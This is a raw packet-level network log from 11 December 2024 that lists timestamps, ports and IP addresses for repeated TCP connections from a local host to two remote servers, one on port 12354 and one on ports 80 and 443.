Dec 11, 2024 16:28:43.905564070 CET	51765	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.956711054 CET	12354	51668	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.017781973 CET	12354	51765	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.017837048 CET	51765	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.022212029 CET	12354	51668	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.024962902 CET	12354	51765	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.137243986 CET	12354	51765	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.207335949 CET	51769	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.327080965 CET	12354	51769	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.327770948 CET	51769	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.407763958 CET	51770	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.447339058 CET	12354	51769	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.447509050 CET	51769	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.465867043 CET	51769	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.466926098 CET	51769	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.521316051 CET	51772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.529750109 CET	12354	51770	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.529853106 CET	51770	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.532206059 CET	51770	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.587883949 CET	12354	51769	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.588927031 CET	12354	51769	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.645550966 CET	12354	51772	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.645675898 CET	51772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.646657944 CET	51772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.653954029 CET	12354	51770	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.654078960 CET	51770	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.655786991 CET	12354	51770	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.657285929 CET	51770	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.657691956 CET	51799	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.766011953 CET	12354	51772	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.773601055 CET	12354	51770	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.776474953 CET	12354	51770	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.776917934 CET	12354	51799	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.776990891 CET	51799	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.777457952 CET	51799	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.896667957 CET	12354	51799	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.896869898 CET	12354	51799	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:44.896950960 CET	51799	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.920974016 CET	51799	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:44.921436071 CET	52068	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.016283035 CET	12354	51799	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.040308952 CET	12354	51799	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.040704012 CET	12354	52068	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.040859938 CET	52068	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.041117907 CET	52068	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.162070990 CET	12354	52068	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.336816072 CET	80	51715	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:45.336932898 CET	51715	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.341995001 CET	52516	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.342021942 CET	443	52516	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:45.342108965 CET	52516	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.342645884 CET	52516	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.342659950 CET	443	52516	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:45.380848885 CET	52516	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.381032944 CET	51772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.381062031 CET	52068	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.381866932 CET	52557	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.494498968 CET	51715	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.494806051 CET	52653	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.495321989 CET	52654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.501580954 CET	12354	52557	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.501705885 CET	52557	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.502111912 CET	52557	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.614176035 CET	80	52653	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:45.614293098 CET	52653	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.614368916 CET	80	51715	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:45.614423037 CET	51715	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.614579916 CET	12354	52654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.614631891 CET	52654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.621356010 CET	12354	52557	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.646625042 CET	52654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.648168087 CET	52653	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.733918905 CET	80	52653	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:45.734045982 CET	52653	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.734395981 CET	12354	52654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.734409094 CET	52653	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.734440088 CET	52654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.734899998 CET	52654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.735155106 CET	52849	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.766277075 CET	12354	52654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.767599106 CET	80	52653	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:45.853301048 CET	80	52653	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:45.853683949 CET	80	52653	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:45.853694916 CET	12354	52654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.854110956 CET	12354	52654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.854377031 CET	12354	52849	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.854444027 CET	52849	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.858043909 CET	52849	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:45.863204002 CET	52939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.977252960 CET	12354	52849	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:45.982538939 CET	80	52939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:45.982714891 CET	52939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:45.983110905 CET	52939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:46.105520964 CET	80	52939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:47.552731037 CET	80	52939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:47.552833080 CET	52939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:47.556370020 CET	53709	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:47.556421041 CET	443	53709	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:47.556488037 CET	53709	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:47.556907892 CET	53709	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:47.556926012 CET	443	53709	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:47.629107952 CET	12354	52557	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:47.629180908 CET	52557	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.629508972 CET	52557	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.629894972 CET	53786	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.749043941 CET	12354	52557	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:47.749524117 CET	12354	53786	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:47.749604940 CET	53786	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.750268936 CET	53786	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.869501114 CET	12354	53786	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:47.869577885 CET	53786	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.869633913 CET	53786	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.869952917 CET	12354	53786	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:47.870161057 CET	53913	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.973057985 CET	12354	52849	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:47.973164082 CET	52849	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.973599911 CET	52849	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.978051901 CET	53933	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.989042997 CET	12354	53786	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:47.989095926 CET	12354	53786	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:47.989634037 CET	12354	53913	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:47.989711046 CET	53913	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:47.990694046 CET	53913	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.093199968 CET	12354	52849	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.098042965 CET	12354	53933	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.098123074 CET	53933	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.102142096 CET	53933	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.109741926 CET	12354	53913	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.109848022 CET	53913	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.110166073 CET	53913	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.110224962 CET	12354	53913	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.110742092 CET	53964	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.218566895 CET	12354	53933	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.218689919 CET	53933	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.219131947 CET	53933	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.221724033 CET	12354	53933	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.228307009 CET	54089	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.229643106 CET	12354	53913	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.229865074 CET	12354	53913	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.230299950 CET	12354	53964	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.230381012 CET	53964	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.231086969 CET	53964	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.338897943 CET	12354	53933	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.339256048 CET	12354	53933	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.348644972 CET	12354	54089	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.349108934 CET	54089	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.350864887 CET	12354	53964	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.350924969 CET	53964	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.351248026 CET	12354	53964	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.353081942 CET	54089	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.353483915 CET	53964	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.354012012 CET	54224	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.468734026 CET	12354	54089	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.470074892 CET	54089	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.470169067 CET	12354	53964	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.470565081 CET	54304	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.470741034 CET	54089	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.472301960 CET	12354	54089	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.472780943 CET	12354	53964	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.473277092 CET	12354	54224	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.473361015 CET	54224	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.474040031 CET	54224	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.590333939 CET	12354	54089	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.590780973 CET	12354	54304	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.590852022 CET	54304	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.590908051 CET	12354	54089	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.592788935 CET	54304	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:48.594614983 CET	12354	54224	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:48.716226101 CET	12354	54304	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:49.399847031 CET	54224	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.399883032 CET	54304	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.399905920 CET	53709	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:49.401824951 CET	55095	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.511720896 CET	52939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:49.512056112 CET	55131	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:49.512936115 CET	55132	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.524354935 CET	12354	55095	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:49.524432898 CET	55095	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.542160034 CET	55095	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.632891893 CET	80	52939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:49.632905006 CET	80	55131	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:49.632968903 CET	52939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:49.633133888 CET	55131	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:49.633593082 CET	12354	55132	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:49.633646965 CET	55132	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.634043932 CET	55131	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:49.634475946 CET	55132	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.662718058 CET	12354	55095	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:49.753158092 CET	12354	55132	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:49.753223896 CET	55132	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.753302097 CET	80	55131	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:49.753654003 CET	12354	55132	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:49.754065990 CET	55132	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.754740953 CET	55314	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.873295069 CET	12354	55132	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:49.874195099 CET	12354	55132	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:49.874377012 CET	12354	55314	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:49.874442101 CET	55314	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.874771118 CET	55314	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:49.994223118 CET	12354	55314	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:51.204065084 CET	80	55131	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:51.204169989 CET	55131	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:51.207528114 CET	56159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:51.207566023 CET	443	56159	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:51.207781076 CET	56159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:51.208683968 CET	56159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:51.208695889 CET	443	56159	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:51.629467010 CET	12354	55095	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:51.629570007 CET	55095	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.629884958 CET	55095	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.630508900 CET	56639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.749614954 CET	12354	55095	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:51.750238895 CET	12354	56639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:51.750319004 CET	56639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.750969887 CET	56639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.870019913 CET	12354	56639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:51.870246887 CET	12354	56639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:51.870312929 CET	56639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.870554924 CET	56639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.871243000 CET	56768	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.988511086 CET	12354	55314	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:51.988596916 CET	55314	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.989005089 CET	55314	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.989665985 CET	12354	56639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:51.989923000 CET	12354	56639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:51.990537882 CET	12354	56768	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:51.990622997 CET	56768	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.991442919 CET	56768	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:51.994896889 CET	56930	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:52.108315945 CET	12354	55314	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:52.110441923 CET	12354	56768	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:52.110521078 CET	56768	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:52.110761881 CET	56768	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:52.111145020 CET	57067	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:52.111345053 CET	12354	56768	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:52.115046024 CET	12354	56930	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:52.115123034 CET	56930	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:52.115499973 CET	56930	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:52.234447002 CET	12354	56768	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:52.234464884 CET	12354	56768	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:52.234826088 CET	12354	57067	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:52.234906912 CET	57067	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:52.235297918 CET	57067	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:52.239809036 CET	12354	56930	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:52.456865072 CET	12354	57067	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:52.904357910 CET	443	56159	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:52.904438972 CET	56159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:52.905114889 CET	443	56159	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:52.905163050 CET	56159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:52.910497904 CET	56159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:52.910572052 CET	443	56159	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:52.910710096 CET	56159	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.031250954 CET	55131	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.031825066 CET	57580	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.151216030 CET	80	55131	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.151231050 CET	80	57580	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.151278019 CET	55131	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.151340008 CET	57580	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.151861906 CET	57580	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.271374941 CET	80	57580	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.271385908 CET	80	57580	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.271444082 CET	57580	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.271785021 CET	57580	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.386732101 CET	57903	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.390723944 CET	80	57580	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.391381025 CET	80	57580	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.412651062 CET	56930	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.412893057 CET	57067	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.413990021 CET	57925	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.506045103 CET	80	57903	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.506409883 CET	57903	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.533507109 CET	12354	57925	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:53.533622980 CET	57925	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.548465967 CET	57925	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.556158066 CET	58012	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.559943914 CET	58013	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.653786898 CET	12354	57925	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:53.653949976 CET	57925	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.655085087 CET	57925	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.655101061 CET	58064	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.667820930 CET	12354	57925	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:53.675637960 CET	12354	58012	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:53.675857067 CET	58012	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.676268101 CET	58012	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.679384947 CET	80	58013	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.679655075 CET	58013	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.680078983 CET	58013	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.773453951 CET	12354	57925	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:53.774720907 CET	12354	57925	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:53.775352955 CET	12354	58064	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:53.775497913 CET	58064	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.782506943 CET	58064	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.799411058 CET	12354	58012	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:53.802011013 CET	80	58013	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.802021027 CET	80	58013	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.802161932 CET	58013	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.804321051 CET	58013	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.896611929 CET	12354	58064	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:53.896760941 CET	58064	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.899805069 CET	58064	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.900363922 CET	58209	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:53.904228926 CET	12354	58064	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:53.918174028 CET	58216	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:53.921672106 CET	80	58013	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:53.923752069 CET	80	58013	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:54.016953945 CET	12354	58064	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.019496918 CET	12354	58064	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.019902945 CET	12354	58209	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.020287037 CET	58209	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.023355961 CET	58209	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.037622929 CET	80	58216	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:54.037902117 CET	58216	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:54.042335987 CET	58216	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:54.139727116 CET	12354	58209	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.140185118 CET	58209	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.140496969 CET	58209	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.140722990 CET	58515	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.142751932 CET	12354	58209	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.161631107 CET	80	58216	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:54.259725094 CET	12354	58209	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.259735107 CET	12354	58209	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.259970903 CET	12354	58515	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.260101080 CET	58515	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.269469023 CET	58515	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.380187035 CET	12354	58515	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.380624056 CET	58515	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.381556988 CET	58515	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.382055998 CET	58739	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.392153025 CET	12354	58515	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.499878883 CET	12354	58515	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.500854969 CET	12354	58515	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.501521111 CET	12354	58739	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.501625061 CET	58739	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.503161907 CET	58739	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.621359110 CET	12354	58739	107.163.241.232	192.168.2.5
